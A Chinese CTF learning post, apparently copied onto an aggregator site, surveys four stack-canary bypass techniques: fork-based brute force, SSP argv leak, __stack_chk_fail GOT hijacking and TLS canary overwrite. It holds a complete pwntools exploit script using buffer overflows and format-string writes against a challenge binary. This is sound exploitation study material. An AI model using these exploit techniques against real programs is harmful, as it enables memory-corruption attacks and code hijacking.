【PWN学习】cannary绕过方式汇总

news2025/1/23 13:06:28

背景

利用cannary解题在现在的CTF比赛中似乎已经过时了,只是为了学习了解一下。

绕过的4种方式

目前我了解到的方式主要有以下4种

  1. fork
  2. ssp
  3. stack_chk_fail
  4. TLS canary attack

fork

每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。
爆破次数:对于32位ELF,低字节固定是\x00,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。
在这里插入图片描述
在这里插入图片描述function1
在这里插入图片描述

在这里插入图片描述
基本思路就是,程序通过fork出子进程,cannary不会变,程序崩溃后是不会退出,从低位到高位逐字节覆盖cannary即可,

ssp

如果程序已经将flag读取到了某一个位置上,通过修改env[0]为flag的位置上,利用stack_chk_fail会打印出env[0]来变相读出flag,但在高版本的glbic上已经过时
在这里插入图片描述

stack_chk_fail

在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
在这里插入图片描述
利用格式化字符串漏洞更改stack_chk_fail got表

TLS canary attack

Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时或者任意地址写的时候,通过覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
在这里插入图片描述
格式化字符串漏洞,第一次泄漏栈地址,第二次修改TLS结构,第三次覆盖cannary即可

exp

from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
elf = ELF("./pwn")

#
if len(sys.argv) == 1:
	p = remote("node4.buuoj.cn","29647")
	#libc = ELF("./libc-2.27_64.so")
	#onegadget_array = [0x45216,0x4526a,0xf02a4,0xf1147]
	#p = remote("172.17.0.2","8888")
	#libc = ELF("./libc-2.27.so")
	#onegadget_array = [0x45216,0x4526a,0xf02a4,0xf1147]
	
else:
	p = process("./pwn")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================



""" 
def debug(gs):
	if len(sys.argv) > 2:
		gdb.attach(p,gs)
		pause()
		#raw_input()
		
context.log_level="debug"


get_flag_address = 0x4008F7

def attack1():
	p.sendlineafter("Enter your choice: ","1")
	payload = b"a"*0x48
	cannary = b""
	for i in range(0,8):
		for j in range(0,0xff):
			temp =payload +  int.to_bytes(j,1,"little")
			p.sendafter("welcome\n",temp)
			result = p.recv(0x3)
			print(b"[*]"+result)
			if b"***" in result:
				j+=1
			else:
				payload+= int.to_bytes(j,1,"little")
				cannary = cannary+int.to_bytes(j,1,"little")
				break

	#print(u64(cannary))
	log.info("cannary is 0x%x"%u64(cannary))	
	payload = b"a"*72
	payload += p64(u64(cannary))+b"b"*8+p64(get_flag_address)

	debug(gs = "set follow-fork-mode child\n b *0x4009A7")
	pause()
	p.sendafter("welcome\n",payload)
def attack2():
	p.sendlineafter("Enter your choice: ","2")
	flag_address = 0x6020E0
	payload = b"a"*296+p64(flag_address)
	p.sendafter("do!\n",payload)

def attack3():
	__stack_chk_fail_got = elf.got["__stack_chk_fail"]
	p.sendlineafter("Enter your choice: ","3")
	get_flag_address = 0x4008F7
	
	debug(gs="b *0x400B1C\n b*0x400B2D")
	payload = b"a%4196598c%8$lln"+p64(__stack_chk_fail_got)
	# payload = b"a"*296+p64(flag_address)
	p.sendafter(b"Write something?\n",payload)
	payload = b"a"*0x50
	p.sendlineafter("Again?",payload)
def attack4():
	# 0x42ff80
	p.sendlineafter("Enter your choice: ","4")
	payload = "aaaa%9$p"
	
	p.sendafter("Write something?\n",payload)
	p.recvuntil("aaaa0x")
	cannary_stack_address = int(p.recv(12),16)+0x28
	
	if cannary_stack_address&0xff !=0x28:
		exit(0)

	
	payload = b"aa%43688c%10$lln"+p64(cannary_stack_address)
	
	
	p.sendafter("Write something?\n",payload)
	payload = b"a"*0x38+p64(0xaaaa)+b"b"*8+p64(get_flag_address)
	debug(gs="b *0x400BDE")
	p.sendafter("Again?",payload)

	log.info("cannary_stack_address:0x%x"%cannary_stack_address)
attack1()	
attack2()
attack3()
attack4()
p.interactive()





本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1330206.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

探秘JDK 10:崭新特性悉数解析

欢迎来到我的博客,代码的世界里,每一行都是一个故事 探秘JDK 10:崭新特性悉数解析 前言局部变量类型推断(var关键字)线程本地握手背景和用途:如何使用:优势: 改进的option集合工厂方法List.of() 方法&#…

化繁为简,Python快速入门,从基础到实践的学习。

文章目录 前言一、安装与运行命令行运行 python 文件 二、变量和简单数据类型2.1 变量命名规则2.2 字符串2.2.1 字符串的简单运算title()upper()、lower() 2.2.2 合并(拼接)字符串2.2.3 使用制表符或换行符来添加空白2.2.4 删除空白2.2.5 Python 2 中的 …

Arduino开发实例-APDS-9930环境光和趋近传感器驱动

APDS-9930环境光和趋近传感器驱动 文章目录 APDS-9930环境光和趋近传感器驱动1、APDS-9930介绍2、硬件准备及接线3、驱动实现1、APDS-9930介绍 APDS-9930模块由环境光、红外线和接近传感器组成。 检测距离可达 100 毫米。 APDS-9930 传感器测量环境光。 该传感器还可以在黑暗中…

trino-435版本windows下源码编译

一、源码下载地址 https://github.com/trinodb/trino/tags 二、编译环境及工具准备 1、maven &#xff08;1&#xff09;版本&#xff1a;3.6.3 &#xff08;2&#xff09;settings.xml配置 <?xml version"1.0" encoding"UTF-8"?> <settin…

融资项目——vue之事件监听

vue通过v-on进行事件监听&#xff0c;在标签中使用v-on:xxx&#xff08;事件名称&#xff09;进行监听&#xff0c;事件触发的相应方法定义在Vue对象中的methods中。如下图所示&#xff1a; 上述代码对按钮进行监听&#xff0c;点击按钮后就会触发solve函数。

2016年第五届数学建模国际赛小美赛C题对超级细菌的战争解题全过程文档及程序

2016年第五届数学建模国际赛小美赛 C题 对超级细菌的战争 原题再现&#xff1a; 最近有很多关于我们抗生素耐药性危机的讨论。进化出的能够抵抗抗生素的细菌每年杀死70万人&#xff0c;越来越强大的细菌正在世界各地传播。研究人员担心&#xff0c;我们将进入一个后抗生素时代…

分子动力学模拟

天玑算科研服务_模拟计算_超算租用_实验测试天玑算科研服务致力于营造良好科研生态环境&#xff0c;加速科研成果转换&#xff0c;500余位TOP高校博士计算工程师团队&#xff0c;涉及第一性原理、分子动力学模拟、有限元等领域&#xff0c;为电池、能源、化工、生物医药等领域提…

尚硅谷图解Java设计模式

尚硅谷图解Java设计模式 第 1 章 内容介绍和授课方式Java 设计模式内容介绍先看几个经典的面试题设计模式的重要性 课程亮点和授课方式 第 2 章 设计模式七大原则设计模式的目的设计模式七大原则单一职责原则基本介绍应用实例单一职责原则注意事项和细节 接口隔离原则(Interfac…

HarmonyOS构建第一个ArkTS应用(FA模型)

构建第一个ArkTS应用&#xff08;FA模型&#xff09; 创建ArkTS工程 若首次打开DevEco Studio&#xff0c;请点击Create Project创建工程。如果已经打开了一个工程&#xff0c;请在菜单栏选择File > New > Create Project来创建一个新工程。 选择Application应用开发&a…

18 Vue3中使用v-model绑定文本域

概述 使用v-model绑定文本域则属于不太常见的情况了&#xff0c;因为文本域一般会被富文本替代&#xff0c;而富文本的话一般又会引入一些第三方的富文本库&#xff0c;所以在真实的开发中&#xff0c;使用v-model绑定文本域的场景实际上并不多见。 这里&#xff0c;我们了解…

如何在Windows上搭建WebDAV服务并通过内网穿透实现公网访问

文章目录 前言1. 安装IIS必要WebDav组件2. 客户端测试3. 使用cpolar内网穿透&#xff0c;将WebDav服务暴露在公网3.1 安装cpolar内网穿透3.2 配置WebDav公网访问地址 4. 映射本地盘符访问 前言 在Windows上如何搭建WebDav&#xff0c;并且结合cpolar的内网穿透工具实现在公网访…

安全、效率、成本:混合云数据库管理的三重挑战!

随着业务需求的不断演变&#xff0c;数据在多云平台之间流动&#xff0c;给数据库管控带来了新的层次和复杂性。这给数据库管控带来了前所未有的挑战。企业可能面临着一系列问题&#xff0c;包括安全性挑战、管理复杂性、性能与效率问题、成本控制难题、缺乏统一的管理视图以及…

C++ 链表

目录 链表结构 一&#xff0c;单链表 1.实现基本的增删查改 2.对链表进行一些操作 &#xff08;1&#xff09;删除等于给定值的所有节点。 &#xff08;2&#xff09;翻转链表 &#xff08;3&#xff09; 返回中间节点的地址 &#xff08;4&#xff09;倒数第k个节点 &…

运维管理平台哪个好?如何挑选合适的运维管理平台?

运用运维管理平台来处理一些内部后勤事务或者对外的售后服务&#xff0c;是现在很多企业采用的管理方法&#xff0c;优势是成本较低&#xff0c;效率更高。那么&#xff0c;运维管理平台哪个比较好呢&#xff1f; 选择运维管理平台要先找准自己的需求&#xff0c;然后才能选出合…

Android JNI入门到基础

一、JNI项目创建 AS创建项目时选择NativeC 会创建一个基本的JNI项目 MainActivity中写java层的native方法 具体实现在cpp文件中 native-lib.cpp #include <jni.h> #include <string>extern "C" JNIEXPORT jstring JNICALL Java_com_cn_techvision_j…

增强客户获取能力:探索 B 端影片行销的影响

01 B端企业短视频营销的价值与难点 短视频营销在当今的市场中越来越受到重视。有数据显示&#xff0c;越来越多的市场人将尝试增加短视频营销的预算&#xff0c;并且在2023年&#xff0c;每5个市场人中就有1个人将尝试短视频营销。相较于内容深、信息量大的长视频&#xff0c;…

CRC循环冗余校验

CRC循环冗余检验&#xff1a; 一般会给定生成多项式&#xff0c;通过生成多项式确定P&#xff08;除数&#xff09;的值&#xff08;e.g. P ( X ) X 3 X 2 1 P(X)X^3X^21 P(X)X3X21表示除数 P 1101 P1101 P1101&#xff09; 带传送的数据记为M&#xff0c;M有k位。n位冗…

高级数据结构 <二叉搜索树>

本文已收录至《数据结构(C/C语言)》专栏&#xff01; 作者&#xff1a;ARMCSKGT 目录 前言正文二叉搜索树的概念二叉搜索树的基本功能实现二叉搜索树的基本框架插入节点删除节点查找函数中序遍历函数析构函数和销毁函数(后序遍历销毁)拷贝构造和赋值重载(前序遍历创建)其他函数…

多数据库切换?设计模式--抽象工厂引导下思路

缘起 某日&#xff0c;部门Leader找到小明&#xff1a;“小明&#xff0c;我们公司不是用的SQL Server的数据库吗&#xff0c;但是后面可能会改&#xff0c;比如去使用Access或Mysql或其他的&#xff0c;你觉得该怎么去设计这个代码呢&#xff1f;” 小明一脸所思&#xff0c…

亚马逊测评的重要性和技术选择

亚马逊测评是指卖家通过各种途径&#xff0c;如测评平台、社区、红人等&#xff0c;联系到亚马逊的买家&#xff0c;让其对卖家的产品进行评价和留下真实的综合评价&#xff0c;这对于跨境电商卖家来说非常重要&#xff0c;因为亚马逊的排名和转化率很大程度上取决于产品的评价…